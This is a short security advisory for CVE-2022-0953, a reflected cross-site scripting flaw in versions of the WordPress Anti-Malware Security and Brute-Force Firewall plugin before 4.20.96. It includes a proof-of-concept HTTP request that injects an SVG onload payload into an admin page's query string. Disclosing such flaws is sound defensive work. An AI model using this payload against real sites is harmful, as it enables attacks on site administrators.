WordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.
advisories | CVE-2022-0953
Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting
References:
CVE-2022-0953
Author:
Taurus Omar
Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.
Affects Plugins:
Gotmls - Fixed in version 4.20.96
Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a="><svg/oNLoAd=alert(1)> HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79
wpScan:
https://wpscan.com/vulnerability/29ab3c7b-58e0-4a72-b7b4-ab12a6d54f5a
